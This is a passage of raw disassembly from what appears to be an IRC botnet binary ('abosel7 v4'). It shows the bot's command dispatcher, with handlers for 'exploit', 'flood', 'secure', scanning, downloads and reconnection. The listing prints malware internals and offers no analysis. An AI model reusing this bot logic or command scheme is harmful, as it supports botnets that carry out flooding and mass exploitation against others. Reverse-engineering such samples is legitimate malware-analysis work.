
loc_403F9D:				; CODE XREF: sub_401ACD+5781j
		cmp	[ebp+var_8], ebx
		jnz	short loc_403FBE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_403FB6:				; CODE XREF: sub_401ACD+6DA8j
		call	sub_409869
		add	esp, 14h


loc_403FBE:				; CODE XREF: sub_401ACD+24D3j
					; sub_401ACD+26B0j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		jmp	loc_4097D1
; ---------------------------------------------------------------------------


loc_403FCF:				; CODE XREF: sub_401ACD+1876j
					; sub_401ACD+188Bj
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A5C5
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_403FE8:				; CODE XREF: sub_401ACD+184Cj
					; sub_401ACD+1861j
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416FCF
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_404005:				; CODE XREF: sub_401ACD+1822j
					; sub_401ACD+1837j
		or	edi, 0FFFFFFFFh
		call	near ptr 269083Ah
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40402E
		push	esi
		call	sub_41C159
		pop	ecx
		mov	edi, eax


loc_40402E:				; CODE XREF: sub_401ACD+2556j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_404047
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409644


loc_404047:				; CODE XREF: sub_401ACD+256Fj
		push	ebx
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF4C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38


loc_404085:				; CODE XREF: sub_401ACD+51BCj
		add	esp, 24h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40408D:				; CODE XREF: sub_401ACD+17F8j
					; sub_401ACD+180Dj
		push	27h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_4040BE
		cmp	[ebp+var_8], ebx
		jnz	loc_401F75
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BF2C


loc_4040AB:				; CODE XREF: sub_401ACD+4F88j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		jmp	loc_408C05
; ---------------------------------------------------------------------------


loc_4040BE:				; CODE XREF: sub_401ACD+25CAj
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		mov	[ebp+var_B40], ebx
		jz	short loc_40411F
		push	esi
		push	offset aFull	; "full"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40411F
		mov	[ebp+var_B40], 1


loc_40411F:				; CODE XREF: sub_401ACD+2635j
					; sub_401ACD+2646j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BF08
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset sub_419E38
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40418D


loc_404177:				; CODE XREF: sub_401ACD+26BEj
		cmp	[ebp+var_B34], ebx
		jnz	loc_403FBE
		push	32h
		call	near ptr 2670E97h
		nop
		jmp	short loc_404177
; ---------------------------------------------------------------------------


loc_40418D:				; CODE XREF: sub_401ACD+26A8j
		nop
		call	near ptr 2680972h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BECC
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_403FBE
; ---------------------------------------------------------------------------


loc_4041AD:				; CODE XREF: sub_401ACD+17CEj
					; sub_401ACD+17E3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4041CC
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BEB4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4041CC:				; CODE XREF: sub_401ACD+26E3j
		push	[ebp+arg_4]
		call	dword_4CBA6C
		call	dword_4CB92C
		call	sub_4188A6
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_4041E7:				; CODE XREF: sub_401ACD+17A4j
					; sub_401ACD+17B9j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AF8F
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BE9C
		jmp	short loc_40423F
; ---------------------------------------------------------------------------


loc_404212:				; CODE XREF: sub_401ACD+177Aj
					; sub_401ACD+178Fj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B243
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BE84


loc_40423F:				; CODE XREF: sub_401ACD+2489j
					; sub_401ACD+2743j
		call	sub_415D38
		add	esp, 18h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40424C:				; CODE XREF: sub_401ACD+1750j
					; sub_401ACD+1765j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415DD8


loc_404260:				; CODE XREF: sub_401ACD+3C8j
					; sub_401ACD+2516j ...
		add	esp, 10h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_404268:				; CODE XREF: sub_401ACD+1726j
					; sub_401ACD+173Bj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1598],	bl
		jz	short loc_4042A7
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042A7
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042A7
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1598]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 10h


loc_4042A7:				; CODE XREF: sub_401ACD+27A4j
					; sub_401ACD+27AFj ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1618]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_161C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1514],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1510],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BE6C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_1518],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_161C]
		push	ebx
		push	eax
		push	offset byte_415E4B
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_1518]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40434A


loc_404334:				; CODE XREF: sub_401ACD+287Bj
		cmp	[ebp+var_150C],	ebx
		jnz	loc_401F75
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_404334
; ---------------------------------------------------------------------------


loc_40434A:				; CODE XREF: sub_401ACD+2865j
		nop
		call	near ptr 2680972h
		push	eax
		push	offset unk_42BE34
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_40435B:				; CODE XREF: sub_401ACD+16FCj
					; sub_401ACD+1711j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415CC0
		push	offset unk_42BE1C
		call	sub_415D38


loc_404376:				; CODE XREF: sub_401ACD+23F9j
		add	esp, 10h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40437E:				; CODE XREF: sub_401ACD+16D2j
					; sub_401ACD+16E7j
		push	[ebp+var_88]
		lea	eax, [ebp+var_C5C]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_C60], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_BD4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_BD0], eax
		jz	short loc_4043D8
		push	offset dword_42BE18
		push	esi
		call	sub_41CA50
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_BD8], eax
		jmp	short loc_4043DE
; ---------------------------------------------------------------------------


loc_4043D8:				; CODE XREF: sub_401ACD+28EFj
		mov	[ebp+var_BD8], ebx


loc_4043DE:				; CODE XREF: sub_401ACD+2909j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BDF8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_BDC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C60]
		push	ebx
		push	eax
		push	offset byte_40B425
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_BDC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40444C


loc_404436:				; CODE XREF: sub_401ACD+297Dj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_406C1F
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_404436
; ---------------------------------------------------------------------------


loc_40444C:				; CODE XREF: sub_401ACD+2967j
		nop
		call	near ptr 2680972h
		push	eax
		push	offset unk_42BDBC
		jmp	loc_409091
; ---------------------------------------------------------------------------


loc_40445D:				; CODE XREF: sub_401ACD+1656j
					; sub_401ACD+166Bj
		push	offset aSbrsfgf	; "sbrsfgf"
		push	offset unk_42BDA4


loc_404467:				; CODE XREF: sub_401ACD+29D9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_404494:				; CODE XREF: sub_401ACD+162Cj
					; sub_401ACD+1641j
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	offset unk_42BD78
		jmp	short loc_404467
; ---------------------------------------------------------------------------


loc_4044A8:				; CODE XREF: sub_401ACD+1602j
					; sub_401ACD+1617j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4044DA
		cmp	[ebp+var_C], ebx
		jz	short loc_4044E9
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4044E9
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		jmp	short loc_4044E9
; ---------------------------------------------------------------------------


loc_4044DA:				; CODE XREF: sub_401ACD+29E4j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		pop	ecx


loc_4044E9:				; CODE XREF: sub_401ACD+29E9j
					; sub_401ACD+29F8j ...
		push	0FFFFFFFEh
		jmp	loc_401F77
; ---------------------------------------------------------------------------


loc_4044F0:				; CODE XREF: sub_401ACD+15D8j
					; sub_401ACD+15EDj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset unk_42BD28
		call	sub_415D38
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_404512:				; CODE XREF: sub_401ACD+15AEj
					; sub_401ACD+15C3j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset unk_42BCF8
		call	sub_415D38
		add	esp, 0Ch
		jmp	loc_4095AD
; ---------------------------------------------------------------------------


loc_404531:				; CODE XREF: sub_401ACD+1584j
					; sub_401ACD+1599j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA9E
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404547:				; CODE XREF: sub_401ACD+155Aj
					; sub_401ACD+156Fj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA49
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_40455D:				; CODE XREF: sub_401ACD+1530j
					; sub_401ACD+1545j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B9DD
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404573:				; CODE XREF: sub_401ACD+1506j
					; sub_401ACD+151Bj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B90E
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404589:				; CODE XREF: sub_401ACD+1461j
					; sub_401ACD+1476j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42BCE8
		push	offset dword_42BCD8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4045A1:				; CODE XREF: sub_401ACD+1437j
					; sub_401ACD+144Cj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42BCCC
		push	offset dword_42BCBC
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4045B9:				; CODE XREF: sub_401ACD+1050j
					; sub_401ACD+1065j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_4045D8
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_4045D8
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_4045DD
; ---------------------------------------------------------------------------


loc_4045D8:				; CODE XREF: sub_401ACD+2AF5j
					; sub_401ACD+2B00j
		mov	eax, dword_429074


loc_4045DD:				; CODE XREF: sub_401ACD+2B09j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404602
		push	esi


loc_4045EF:				; CODE XREF: sub_401ACD+2B44j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_404619
; ---------------------------------------------------------------------------


loc_404602:				; CODE XREF: sub_401ACD+2B1Fj
		cmp	[ebp+var_8FF], bl
		jz	short loc_404613
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_4045EF
; ---------------------------------------------------------------------------


loc_404613:				; CODE XREF: sub_401ACD+2B3Bj
		mov	[ebp+var_5A0], bl


loc_404619:				; CODE XREF: sub_401ACD+2B33j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41C360
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BC94
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset word_411BCE
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4046CA


loc_4046B4:				; CODE XREF: sub_401ACD+2BFBj
		cmp	[ebp+var_57C], ebx
		jnz	loc_401F75
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_4046B4
; ---------------------------------------------------------------------------


loc_4046CA:				; CODE XREF: sub_401ACD+2BE5j
		nop
		call	near ptr 2680972h
		push	eax
		push	offset dword_42BC58
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_4046DB:				; CODE XREF: sub_401ACD+FFDj
					; sub_401ACD+1012j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4046FB
		push	esi
		call	sub_41C159
		test	ax, ax
		pop	ecx
		jz	short loc_4046FB
		push	esi
		call	sub_41C159
		pop	ecx
		jmp	short loc_404701
; ---------------------------------------------------------------------------


loc_4046FB:				; CODE XREF: sub_401ACD+2C17j
					; sub_401ACD+2C23j
		mov	ax, word_429084


loc_404701:				; CODE XREF: sub_401ACD+2C2Cj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41C360
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BC2C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409869
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B3BA
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset dword_40EF1C
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4047D0


loc_4047BA:				; CODE XREF: sub_401ACD+2D01j
		cmp	[ebp+var_968], ebx
		jnz	loc_401F75
		push	32h
		call	near ptr 2670E97h
		nop
		jmp	short loc_4047BA
; ---------------------------------------------------------------------------


loc_4047D0:				; CODE XREF: sub_401ACD+2CEBj
		nop
		call	near ptr 2680972h
		push	eax
		push	offset unk_42BBEC
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_4047E1:				; CODE XREF: sub_401ACD+FA9j
					; sub_401ACD+FBEj ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404809
		push	edi
		push	offset aSec	; "sec"
		call	sub_41CA50
		pop	ecx
		mov	[ebp+var_AA8], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404813


loc_404809:				; CODE XREF: sub_401ACD+2D23j
		mov	[ebp+var_AA8], 1


loc_404813:				; CODE XREF: sub_401ACD+2D3Aj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_AA8], ebx
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_AA0], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40485A
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40485A:				; CODE XREF: sub_401ACD+2D86j
		push	eax
		push	offset dword_42BBB8
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_41A366
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4048CE


loc_4048B8:				; CODE XREF: sub_401ACD+2DFFj
		cmp	[ebp+var_A9C], ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_4048B8
; ---------------------------------------------------------------------------


loc_4048CE:				; CODE XREF: sub_401ACD+2DE9j
		nop
		call	near ptr 2680972h
		push	eax
		push	offset dword_42BB7C
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_4048DF:				; CODE XREF: sub_401ACD+F7Fj
					; sub_401ACD+F94j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41ABFB


loc_4048F0:				; CODE XREF: sub_401ACD+2A75j
					; sub_401ACD+2A8Bj ...
		add	esp, 0Ch
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_4048F8:				; CODE XREF: sub_401ACD+F55j
					; sub_401ACD+F6Aj
		push	offset unk_42BB2C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_404902:				; CODE XREF: sub_401ACD+F2Bj
					; sub_401ACD+F40j
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42BB1C
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_404911:				; CODE XREF: sub_401ACD+F01j
					; sub_401ACD+F16j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_404971
		push	esi
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		jl	short loc_404966
		cmp	eax, 3
		jge	short loc_404966
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40495B
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD50
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_40495B:				; CODE XREF: sub_401ACD+2E6Dj
		push	eax
		push	offset unk_42BAF0
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404966:				; CODE XREF: sub_401ACD+2E58j
					; sub_401ACD+2E5Dj
		push	eax
		push	offset unk_42BAC4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404971:				; CODE XREF: sub_401ACD+2E4Dj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_404976:				; CODE XREF: sub_401ACD+2EC5j
		push	[ebp+var_90]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404999
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_404976
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_404999:				; CODE XREF: sub_401ACD+2EB9j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CD50
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_4049B3:				; CODE XREF: sub_401ACD+ED7j
					; sub_401ACD+EECj
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403446
		call	sub_40B583
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_4049D9:				; CODE XREF: sub_401ACD+19B1j
		push	offset aGet	; "get"
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404A67
		cmp	dword_4CF180, ebx
		jz	short loc_404A01
		push	offset dword_4CEB60


loc_4049F7:				; CODE XREF: sub_401ACD+2F98j
		push	offset unk_42BA88
		jmp	loc_404A97
; ---------------------------------------------------------------------------


loc_404A01:				; CODE XREF: sub_401ACD+2F23j
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		nop
		call	near ptr 71AB157Eh
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E24]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_E24]
		push	eax
		jmp	short loc_4049F7
; ---------------------------------------------------------------------------


loc_404A67:				; CODE XREF: sub_401ACD+2F1Bj
		push	edi
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_404A7B
		push	offset unk_42BA48
		jmp	short loc_404A97
; ---------------------------------------------------------------------------


loc_404A7B:				; CODE XREF: sub_401ACD+2FA5j
		push	offset dword_4CEB60
		call	sub_41C890
		pop	ecx
		mov	dword_4CF180, 1
		pop	ecx
		push	edi
		push	offset unk_42BA1C


loc_404A97:				; CODE XREF: sub_401ACD+2F2Fj
					; sub_401ACD+2FACj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_40349D
; ---------------------------------------------------------------------------


loc_404AAB:				; CODE XREF: sub_401ACD+199Cj
		push	[ebp+arg_8]
		push	offset aExploit	; "exploit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BB1
		mov	eax, [ebp+var_4]
		mov	esi, 80h
		mov	[ebp+var_13E8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F8],	eax
		push	offset aF	; "#f"
		lea	eax, [ebp+var_1478]
		push	esi
		push	eax
		mov	[ebp+var_13F0],	1
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_14F8]
		push	offset aF	; "#f"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_1508]
		push	edi
		push	10h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_1508]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B9E4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_13EC],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1508]
		push	ebx
		push	eax
		push	offset byte_40BB65
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_13EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_404BA0


loc_404B8A:				; CODE XREF: sub_401ACD+30D1j
		cmp	[ebp+var_13E0],	ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_404B8A
; ---------------------------------------------------------------------------


loc_404BA0:				; CODE XREF: sub_401ACD+30BBj
		call	near ptr 2680972h
		nop
		push	eax
		push	offset unk_42B9A4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404BB1:				; CODE XREF: sub_401ACD+2FEFj
		push	[ebp+arg_8]
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095B4
		push	[ebp+arg_8]
		push	offset aRin	; "rin"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095B4
		push	[ebp+arg_8]
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409570
		push	[ebp+arg_8]
		push	offset aRinms	; "rinms"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409570
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057B7
		nop
		call	near ptr 269083Ah
		push	eax
		call	sub_41C2B8
		push	edi
		push	offset aLoad	; "load"
		call	sub_41CA50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CB7
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CB7
		push	[ebp+esi+var_80]
		call	sub_41C159
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41C159
		pop	ecx
		push	eax
